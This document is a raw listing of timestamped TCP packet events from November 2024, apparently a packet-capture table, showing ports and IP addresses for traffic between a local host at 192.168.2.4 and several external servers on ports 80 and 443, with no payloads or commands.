Nov 22, 2024 04:12:33.458128929 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:33.458311081 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:33.563997984 CET	443	49815	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.567378998 CET	49815	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.567430019 CET	443	49815	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.567471981 CET	443	49812	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.567785025 CET	49815	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.567801952 CET	443	49815	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.567995071 CET	49812	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.568052053 CET	443	49812	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.568290949 CET	49812	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.568305016 CET	443	49812	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.577722073 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:33.716295958 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:33.716415882 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:33.719134092 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:33.719152927 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:33.719681978 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:33.736545086 CET	443	49814	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.764060974 CET	49814	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.764100075 CET	443	49814	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.764492989 CET	49814	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.764503956 CET	443	49814	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.765074968 CET	443	49816	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.775145054 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:33.822032928 CET	49816	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.862428904 CET	49816	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.862468958 CET	443	49816	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.862999916 CET	49816	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.863006115 CET	443	49816	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.911667109 CET	443	49817	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.951621056 CET	49817	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.951633930 CET	443	49817	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:33.955966949 CET	49817	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:33.955975056 CET	443	49817	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.008347988 CET	443	49815	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.008450031 CET	443	49815	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.008539915 CET	49815	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.011674881 CET	443	49812	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.011743069 CET	443	49812	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.011810064 CET	49812	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.022730112 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:34.022730112 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:34.022953987 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:34.022979021 CET	49815	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.023013115 CET	443	49815	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.023089886 CET	49815	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.023103952 CET	443	49815	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.023952007 CET	49812	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.023998976 CET	443	49812	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.024054050 CET	49812	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.024070024 CET	443	49812	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.026319981 CET	49820	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.026349068 CET	443	49820	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.026406050 CET	49820	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.026767015 CET	49820	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.026782036 CET	443	49820	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.027389050 CET	49821	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.027410030 CET	443	49821	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.027467012 CET	49821	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.027556896 CET	49821	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.027570963 CET	443	49821	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.189127922 CET	443	49814	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.189207077 CET	443	49814	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.189290047 CET	49814	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.225953102 CET	443	49816	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.226089954 CET	443	49816	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.226212978 CET	49816	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.351795912 CET	49814	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.351847887 CET	443	49814	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.351892948 CET	49814	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.351908922 CET	443	49814	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.353871107 CET	443	49817	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.354015112 CET	443	49817	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.354070902 CET	49817	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.364712954 CET	49817	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.364727020 CET	443	49817	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.364739895 CET	49817	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.364746094 CET	443	49817	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.365740061 CET	49816	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.365778923 CET	443	49816	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.365802050 CET	49816	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.365811110 CET	443	49816	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.387833118 CET	49822	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.387871027 CET	443	49822	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.387939930 CET	49822	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.389724970 CET	49823	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.389739037 CET	443	49823	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.389785051 CET	49823	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.390150070 CET	49822	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.390163898 CET	443	49822	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.390839100 CET	49823	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.390851021 CET	443	49823	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.392183065 CET	49824	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.392281055 CET	443	49824	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.392340899 CET	49824	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.392652988 CET	49824	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:34.392690897 CET	443	49824	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:34.744415998 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:34.744484901 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:34.744580030 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:34.746614933 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:34.746660948 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:34.746694088 CET	49818	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:34.746710062 CET	443	49818	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:34.818528891 CET	49825	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:34.818551064 CET	443	49825	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:34.818639040 CET	49825	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:34.819008112 CET	49825	443	192.168.2.4	172.67.155.248
Nov 22, 2024 04:12:34.819021940 CET	443	49825	172.67.155.248	192.168.2.4
Nov 22, 2024 04:12:34.852058887 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852119923 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852140903 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852169991 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852199078 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852216959 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852240086 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852258921 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852279902 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852299929 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.852307081 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:34.852436066 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:34.852436066 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:34.971991062 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.972067118 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:34.972071886 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:34.972142935 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.053046942 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.053210974 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.053291082 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.057193041 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.057815075 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.058728933 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.058762074 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.058820009 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.067157984 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.067271948 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.067342043 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.075546026 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.075661898 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.075722933 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.083911896 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.084017038 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.084150076 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.084150076 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.092261076 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.092319965 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.092381001 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.092694044 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.100667953 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.100730896 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.100774050 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.100821018 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.109050035 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.109110117 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.109154940 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.109210968 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.117443085 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.117503881 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.117539883 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.117877960 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.125822067 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.125891924 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.125917912 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.125988960 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.136620998 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.136693001 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.254276037 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.254354000 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.254436970 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.254492998 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.256814003 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.256859064 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.256932974 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.261923075 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.261987925 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.263782978 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.263844013 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.263950109 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.264271021 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.268922091 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.269011974 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.269104958 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.269289017 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.274069071 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.274158955 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.274173021 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.274465084 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.279184103 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.279249907 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.279340029 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.279412031 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.284334898 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.284399986 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.284434080 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.285197020 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.289453983 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.289551973 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.289582968 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.289668083 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.294591904 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.294673920 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.294735909 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.295034885 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.299727917 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.299799919 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.299860954 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.299911976 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.304853916 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.304919004 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.304932117 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.305072069 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.309973955 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.310097933 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.310156107 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.315113068 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.315243959 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.315273046 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.315304041 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.320306063 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.320374966 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.320390940 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.320420980 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.325376987 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.325443983 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.325489998 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.325546980 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.331554890 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.331577063 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.331631899 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.336566925 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.336637974 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.455539942 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.455578089 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.455704927 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.457571983 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.457696915 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.457792997 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.461730003 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.461853981 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.461919069 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.465890884 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.466017008 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.466082096 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.470062971 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.470176935 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.470257998 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.474205971 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.474327087 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.474404097 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.478348970 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.478864908 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.478940010 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.483509064 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.483671904 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.483742952 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.487639904 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.487801075 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.487880945 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.491712093 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.491866112 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.491961956 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.495776892 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.495908022 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.495980024 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.499073029 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.499195099 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.499274969 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.503232956 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.503359079 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.503428936 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.507391930 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.507533073 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.507603884 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.511545897 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.511622906 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.511666059 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.511812925 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.515697956 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.515774965 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.515839100 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.519812107 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.519926071 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.519993067 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.523966074 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.524080992 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.524139881 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.528114080 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.528227091 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.528310061 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.532275915 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.532413960 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.532484055 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.536417007 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.536536932 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.536611080 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.540572882 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.540687084 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.540776968 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.544718027 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.544827938 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.544888020 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.548933983 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.549015045 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.549077988 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.553013086 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.553121090 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.553186893 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.557158947 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.557344913 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.557348967 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.557496071 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.656743050 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.656904936 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.656968117 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.661365032 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.661437988 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.661652088 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.661725998 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.662813902 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.662878036 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.662960052 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.663012981 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.666054964 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.666110992 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.666336060 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.668431044 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.668454885 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.668505907 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.668557882 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.671706915 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.671781063 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.671818018 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.671881914 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.674890041 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.674954891 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.675004005 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.675067902 CET	49819	80	192.168.2.4	185.215.113.16
Nov 22, 2024 04:12:35.678050041 CET	80	49819	185.215.113.16	192.168.2.4
Nov 22, 2024 04:12:35.678165913 CET	80	49819	185.215.113.16	192.168.2.4
